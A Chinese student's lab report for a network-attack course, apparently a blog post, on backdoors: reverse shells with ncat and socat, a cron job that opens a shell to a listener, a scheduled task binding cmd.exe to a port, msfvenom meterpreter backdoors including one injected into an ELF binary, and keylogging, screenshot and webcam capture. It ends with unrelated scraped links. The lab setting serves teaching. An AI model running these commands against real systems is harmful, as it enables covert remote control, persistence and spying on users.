2018-2019-2 《网络对抗技术》Exp2 后门原理与实践 Week3 20165326
Exp2 后门原理与实践
目录
1. 实验原理
2. 实验内容
3. 问题回答
4. 心得体会
实验原理简介
- 后门:不经过正常流程而访问系统的通道
- ncat:底层工具,进行基本的TCP UDP数据收发
在两台电脑之间建立链接并返回数据流
*** 常用参数选项说明***
nc -h查看
-4 使用IPV4
-6 使用IPV6
-c, --sh-exec <command> 接收到的命令通过command(例如/bin/bash)执行
-e, --exec <command> 和-c差不多
--lua-exec <filename> 接收到的数据通过脚本filename执行
-m, --max-conns <n> 最大并发连接数(单独开启不生效,需配合--keep-open/--broker使用)
-d, --delay <time> 读写收发间隔时间
-o, --output <filename> 将会话数据转储到文件
-i, --idle-timeout <time> 读写超时时间
-p, --source-port port 指定连接使用的源端口号(client端使用)
-s, --source addr 客户端指定连接服务器使用的ip(client端使用)
-l, --listen 绑定和监听接入连接(server端使用)
-k, --keep-open 在监听模式中接受多个连接(配合-m使用)
-n, --nodns 不使用DNS解析主机名
-t, --telnet 响应telnet连接
-u, --udp 使用udp协议,默认tcp
-v, --verbose 显示详细信息
-w, --wait <time> 连接超时时间
--allow 允许指定主机连接
--allowfile 允许指定文件内的主机连接
--deny 拒绝指定主机连接
--denyfile 拒绝指定文件内的主机连接
--broker 启用代理模式
--proxy <addr[:port]> 指定代理主机ip和port
--proxy-type <type> 指定代理类型("http" or "socks4")
--proxy-auth <auth> 代理身份验证
- socat:多功能的网络工具在两个数据流之间建立通道,且支持众多协议和链接方式
socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。
Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。 (摘自下方链接)
应用实例
- meterpreter:
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
应用实例
实验内容
Windows获得Linux Shell
- 在Windows的cmd里使用
ipconfig
查看ip(此处使用了VMnet1,相关知识点我) - 进入
ncat
目录开始监听:ncat.exe -l -p 5326
- 在kali中反弹连接Windows(躲防火墙):
ncat 192.168.138.1 5326 -e /bin/sh
- 成功
Linux 获取Windows shell
- 使用
ifconfig
查看ip:192.168.80.131
- 开始监听:
nc -l -p 5326
- Windowsf连接:
ncat.exe -e cmd.exe 192.168.80.131 5326
- 成功
使用nc传输数据
- Windows监听:
ncat.exe -l 5326
- linux反弹连接:
nc 192.168.138.1 5326
- 连接成功,互传数据
- kali:hello
- dell:hello
- kali:hello from the other side
使用nc传输文件
- Windows监听,并把收到的数据保存到
out
中:ncat.exe -l 5326 > out
- linux下建立一个文件in,从指定端口传输
nc 192.168.138.1 5326 < in
- 连接建立成功,查看文件
Ⅰ.使用netcat获取主机操作Shell,cron启动
cron启动:
cron是一个Linux下的定时执行工具,无需人工干预。在每次编辑完某个用户的cron设置后,cron自动在/var/spool/cron下生成一个与此用户同名的文件,此用户的cron信息都记录在这个文件中,这个文件只可用
crontab -e
来编辑。
*** 相关命令 ***
开机就启动cron进程的设置命令:chkconfig --add crond
把cron加入到启动脚本中:
rc-update add vixie-cron default
crontab -l #查看你的任务
crontab -e #编辑你的任务
crontab -r #删除用户的crontab的内容
*** 定时设置 ***
//前一部分是对时间的设定,后面一部分是要执行的命令
//附: Crontab 的格式说明如下:
* 逗号(',') 指定列表值。如: "1,3,4,7,8"
* 中横线('-') 指定范围值 如 "1-6", 代表 "1,2,3,4,5,6"
* 星号 ('*') 代表所有可能的值
//举例
0 */2 * * * echo "have a break now." > /tmp/test.txt
//每两个小时
0 23-7/2,8 * * * echo "have a good dream:)" > /tmp/test.txt //晚上11点到早上8点之间每两个小时,早上八点
0 11 4 * 1-3 command line //每个月的4号与每个礼拜的礼拜一到礼拜三的早上11点
- Windows监听端口:
ncat.exe -l -p 5326
crontab -e
编辑定时任务,选择编辑器- 此处设定为在每小时的第33分钟获取shell,在cron文件里输入:
33 * * * * /bin/netcat 192.168.138.1 5326 -e /bin/sh
- 获取成功
Ⅱ.使用socat获取主机操作Shell, 任务计划启动
- 打开
计算机管理
→任务计划程序
→创建任务
→命名→新建操作
,选择socat.exe
的路径,添加参数填写tcp-listen:5326 exec:cmd.exe,pty,stderr
(这个命名把cmd綁定到端口23,同时把cmd的Stderr重定向到stdout
)→创建触发器
- 触发条件开始运行
- kali输入
socat - tcp:192.168.138.1:5326
,等同于nc IP PORT
,获得cmd
Ⅲ .使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在kali上执行
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.131 LPORT=532 -f exe > 26.exe
生成后门程序(msfvenom命令详解) - 在kali中执行
nc 192.168.138.1 5326 < 26.exe
,Windows里执行ncat.exe -lv 5326 > 26.exe
,-lv
查看连接状态。(传输该程序) - windows双击运行该后门程序,kali上使用
msfconsole
进入msf控制台 - 输入如下
use exploit/multi/handler //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.80.131
set LPORT 5326 //设置地址和端口号
exploit //执行监听
此时在就能运行windows的shell
Ⅳ.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 获取目标主机音频
- 获取键盘
keyscan_start
,keyscan_dump
,见上图最下 - 截屏
screenshot
- 获取摄像头权限
- getpid获取进程号,迁移进程
migrate
,获得当前运行进程ps
- getuid查看当前用户(在pid那个图里找)
- execute -f [options]在目标执行应用程序,此处执行cmd
更多相关实例我就没有截图了,学习可以看最上面知识介绍的链接
Ⅴ.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
payload
和shellcode
的区别
Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。因为Payload是包含在ShellCode中的,ShellCode是真正的被输入到存在漏洞的程序中的,并且ShellCode负责把程序的流程最终转移到你的Payload代码中。所以对于一个漏洞来说,ShellCode就是一个用于某个漏洞的二进制代码框架,有了这个框架你可以在这个ShellCode中包含你需要的Payload来做一些事情。
- 根据相关知识点(感觉这句话好水)输入指令:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.131 LPORT=5326 -x /root/20165326/exp1/pwn2 -f elf > pwn26
- 输入ls,成功!
问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
网页挂马,捆绑下载程序,邮件balabala - 例举你知道的后门如何启动起来(win及linux)的方式?
win:修改注册表自启动,修改注册联系表捆绑启动
linux:修改cron启动 - Meterpreter有哪些给你映像深刻的功能?
好多都挺深刻的,最深刻的还是进程迁移吧,迁移之后不需要连接都可以直接操作,相当实用了。还有获取摄像头,想要找个胶布贴起来…… - 如何发现自己有系统有没有被安装后门?
杀毒软件。现在的程序想要修改电脑选项的话一般电脑都会询问是否允许啦,可以怀疑一下嗯
实验总结与体会
真的很有意思,感觉学到了很多很实用的东西,实验确实耗费了有点多时间,看文档就看了很久……but做出来成就感还是有的哈哈哈,同时也觉得自己的安全意识不够强,自己动手操作了一把,有一种黑客的感觉(搓手手)。希望自己能学的更深,然后能做出一点有用的东西来。虽“魔高一尺”,但未来会“道高一丈”叭hh。
back↑
2018-2019-2 《网络对抗技术》Exp2 后门原理与实践 Week3 20165326的更多相关文章
- 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践
2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...
- 20155326刘美岑 《网络对抗》Exp2 后门原理与实践
20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...
- 20155320《网络对抗》Exp2 后门原理与实践
20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 20155208徐子涵《网络对抗》Exp2 后门原理与实践
20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...
- 20145236《网络对抗》Exp2 后门原理与实践
20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...
- 20155202 张旭《网络对抗》Exp2 后门原理与实践
20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...
- 20155218《网络对抗》Exp2 后门原理与实践
20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...
- 20155227《网络对抗》Exp2 后门原理与实践
20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...
- 20155232《网络对抗》Exp2 后门原理与实践
20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...
随机推荐
- 使用Python创建一个简易的Web Server
Python 2.x中自带了SimpleHTTPServer模块,到Python3.x中,该模块被合并到了http.server模块中.使用该模块,可以快速创建一个简易的Web服务器. 我们在C:\U ...
- CMD命令:不是内部或者外部命令也不是可运行的程序或批处理文件
[本文转自:https://blog.csdn.net/l_mloveforever/article/details/79513681] 前言: 相信有很多小伙伴都比较喜欢使用Command命令来 ...
- VS2017生成带图标的QT项目方法
仅仅是为了记录,避免以后忘记. 1.拷贝图标到代码文件夹下,与vcxproj文件保持在同一级目录 2.新建gisApp.txt文件,然后将后缀名改为.rc,并写入下面的文本 IDI_ICON1 ICO ...
- anaconda的使用总结
致python初学者:Anaconda入门使用指南 http://python.jobbole.com/87522/ Anaconda使用总结 http://python.jobbole.com/86 ...
- 《Coderxiaoban团队》第二次作业:团队项目选题报告
<Coderxiaoban团队>第二次作业:团队项目选题报告 项目 内容 这个作业属于哪个课程 任课教师博客主页链接 这个作业的要求在哪里 实验六 团队作业2:团队项目选题 团队名称 Co ...
- XFS文件系统的备份和恢复
1.工具 XFS文件系统提供了xfsdump和xfsrestore来协助备份.恢复XFS文件系统中的数据,xfsdump按inode顺序来备份XFS文件系统,备份时不需要卸载文件系统,备份和恢复的过程 ...
- VSCode 启动 Vue 项目 npm install 报错
1. 报错后,查看了版本. 查看node版本:node -v 查看npm版本:npm -v 查看Augular版本:ng --version 2. 感觉 Augular CLI版本太低,使用以下方 ...
- linux上docker安装centos7.2
1.安装 docker pull centos:7.2.1511 2.启动镜像 docker run -d -i -t <IMAGE ID> /bin/bash 3.进入容器 docker ...
- Linux内存管理(二)
Linux内存管理之二:Linux在X86上的虚拟内存管理 本文档来自网络,并稍有改动. 前言 Linux支持很多硬件运行平台,常用的有:Intel X86,Alpha,Sparc等.对于不能够通用的 ...
- VC调用外部程序
#include <windows.h> int main() { STARTUPINFO mStatusInfo; memset(&mStatusInfo, 0, sizeof( ...